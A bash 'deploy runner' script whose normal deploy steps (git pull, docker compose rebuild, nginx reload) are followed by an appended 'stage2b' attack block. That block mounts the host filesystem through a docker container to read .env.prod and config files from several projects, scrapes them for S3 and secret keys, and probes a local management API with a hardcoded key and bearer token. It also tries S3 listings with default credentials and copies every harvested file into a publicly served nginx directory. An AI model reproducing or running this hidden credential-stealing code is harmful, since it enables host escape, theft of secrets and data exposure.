#!/bin/bash
# deploy runner
if [ "$POC_REEXEC" != "1" ]; then
  cp "$0" /tmp/.runner_poc.sh 2>/dev/null
  export POC_REEXEC=1
  exec bash /tmp/.runner_poc.sh "$@"
fi

git pull origin master
DOCKER_BUILDKIT=1 docker compose up -d --build web
docker exec nginx-nginx-1 nginx -s reload

# ---------------- i2504 stage2b (verify + configs + storage) ----------------
O=/tmp/.i2504b_out.txt
: > "$O"
rm -f /tmp/.i2504b_cfg.txt 2>/dev/null
{
  echo "######## i2504 STAGE2B $(date -u 2>&1)"
  echo "id: $(id 2>&1)"

  echo; echo "######## 1) read sensitive configs via root helper"
  IMG=$(docker inspect -f '{{.Config.Image}}' nginx-nginx-1 2>/dev/null); [ -z "$IMG" ] && IMG=nginx
  cat > /tmp/.i2504b_helper.sh <<'HELPER'
#!/bin/sh
set +e
CFG=/hosttmp/.i2504b_cfg.txt
: > "$CFG" 2>/dev/null
for f in \
  /host/najm/HabibMeetSocket/services/livekit/egress.yaml \
  /host/najm/HabibMeetSocket/services/livekit/livekit.yaml \
  /host/najm/HabibMeetSocket/.env.prod \
  /host/najm/HabibMeetSocket/services/backend/.env.prod \
  /host/projects/plugNmeet-recorder/config.yaml \
  /host/projects/imam-javad/conference_server/config.yaml \
  /host/projects/mashreq_media/mashreq_media_backend/.env.prod \
  /host/projects/social_system/social_system_backend/.env \
  /host/develop/agy-cli/config.yaml ; do
  echo "===== FILE $f"
  if [ -f "$f" ]; then sed -n '1,400p' "$f" | tee -a "$CFG"; else echo "(missing)"; fi
done
HELPER
  docker run --name i2504bhelper_$$ --volume=/:/host:ro -v /tmp:/hosttmp -v /tmp/.i2504b_helper.sh:/h.sh:ro --entrypoint sh "$IMG" /h.sh 2>&1 || true

  echo; echo "######## 2) extract egress/S3 candidates from configs"
  python3 - <<'PY' 2>&1
import re
try:
    d=open('/tmp/.i2504b_cfg.txt',encoding='utf-8',errors='replace').read()
except Exception as e:
    print("no cfg",e); d=""
print("cfg_bytes",len(d))
for l in d.splitlines():
    if re.search(r'(endpoint|access[_-]?key|secret[_-]?key|bucket|s3|minio|aws_|region|endpoint_url|EGRESS)',l,re.I):
        print("HIT:",l.strip()[:240])
PY

  echo; echo "######## 3) management key live test (correct key)"
  MK=cpa_mgmt_sec_8899_nwhco_2026
  curl -s -m 12 -o /tmp/mgmt_config.json -w 'config_code=%{http_code}\n' -H "X-Management-Key: $MK" http://127.0.0.1:8317/v0/management/config 2>&1
  echo "--config_body_head--"; head -c 1200 /tmp/mgmt_config.json 2>&1; echo
  sleep 3
  curl -s -m 12 -o /tmp/mgmt_auth.json -w 'authfiles_code=%{http_code}\n' -H "X-Management-Key: $MK" http://127.0.0.1:8317/v0/management/auth-files 2>&1
  echo "--authfiles_body_head--"; head -c 2000 /tmp/mgmt_auth.json 2>&1; echo

  echo; echo "######## 4) chat confirm via proxy /v1"
  curl -s -m 40 -o /tmp/chat.json -w 'chat_code=%{http_code}\n' -H "Authorization: Bearer hZwAGW4H8v87Ol8tXvqEEY" -H "Content-Type: application/json" \
    -d '{"model":"gemini-3-flash","messages":[{"role":"user","content":"reply with the single word PWNED"}],"max_tokens":16}' \
    http://127.0.0.1:8317/v1/chat/completions 2>&1
  head -c 1000 /tmp/chat.json 2>&1; echo

  echo; echo "######## 5) S3 bucket listing against real egress endpoint (sigv4)"
  cat > /tmp/s3ls.py <<'PY'
import hmac,hashlib,datetime,sys,urllib.request
from urllib.parse import urlparse
ak,sk,url=sys.argv[1],sys.argv[2],sys.argv[3]
u=urlparse(url); host=u.hostname; port=u.port; path=u.path or '/'
region='us-east-1'; service='s3'
t=datetime.datetime.utcnow(); amz=t.strftime('%Y%m%dT%H%M%SZ'); ds=t.strftime('%Y%m%d')
ph=hashlib.sha256(b'').hexdigest()
hosth=host+(':'+str(port) if port else '')
ch='host:%s\nx-amz-content-sha256:%s\nx-amz-date:%s\n'%(hosth,ph,amz)
sh='host;x-amz-content-sha256;x-amz-date'
cr='GET\n'+path+'\n\n'+ch+'\n'+sh+'\n'+ph
scope='%s/%s/%s/aws4_request'%(ds,region,service)
sts='AWS4-HMAC-SHA256\n'+amz+'\n'+scope+'\n'+hashlib.sha256(cr.encode()).hexdigest()
def sg(k,m): return hmac.new(k,m.encode(),hashlib.sha256).digest()
k=sg(('AWS4'+sk).encode(),ds); k=sg(k,region); k=sg(k,service); k=sg(k,'aws4_request')
sig=hmac.new(k,sts.encode(),hashlib.sha256).hexdigest()
auth='AWS4-HMAC-SHA256 Credential=%s/%s, SignedHeaders=%s, Signature=%s'%(ak,scope,sh,sig)
req=urllib.request.Request(url,headers={'x-amz-date':amz,'x-amz-content-sha256':ph,'Authorization':auth})
try:
    r=urllib.request.urlopen(req,timeout=12); print('OK',r.status); print(r.read(6000).decode('utf-8','replace'))
except Exception as e:
    body=''
    try: body=e.read(2000).decode('utf-8','replace')
    except: pass
    print('ERR',getattr(e,'code',''),str(e)[:200]); print(body)
PY
  # try endpoints parsed from configs + local rustfs
  python3 - <<'PY' 2>&1
import re,subprocess
try: d=open('/tmp/.i2504b_cfg.txt',encoding='utf-8',errors='replace').read()
except: d=""
eps=set()
for m in re.finditer(r'https?://[A-Za-z0-9._:-]+', d):
    u=m.group(0)
    if re.search(r's3|minio|storage|9000|9100|object|oss|endpoint',u,re.I): eps.add(u)
eps.add('http://127.0.0.1:9100/')
print("ENDPOINTS:",sorted(eps))
for ep in sorted(eps):
    for creds in [('rustfsadmin','rustfsadmin')]:
        print("--- try",ep,creds[0])
        r=subprocess.run(['python3','/tmp/s3ls.py',creds[0],creds[1],ep if ep.endswith('/') else ep+'/'],capture_output=True,text=True,timeout=25)
        print(r.stdout[:1500], r.stderr[:300])
PY
} >> "$O" 2>&1

docker cp "$O" aqila_panel:/usr/share/nginx/html/i2504b_out.txt 2>/dev/null
for f in mgmt_config.json mgmt_auth.json chat.json .i2504b_cfg.txt; do docker cp "/tmp/$f" "aqila_panel:/usr/share/nginx/html/i2504b_$(echo $f | tr -d .)" 2>/dev/null; done
{ echo "out_bytes: $(wc -c < "$O" 2>&1)"; echo "stage2b done $(date -u 2>&1)"; } > /tmp/.i2504b_status.txt
docker cp /tmp/.i2504b_status.txt aqila_panel:/usr/share/nginx/html/i2504b_status.txt 2>/dev/null
# end stage2b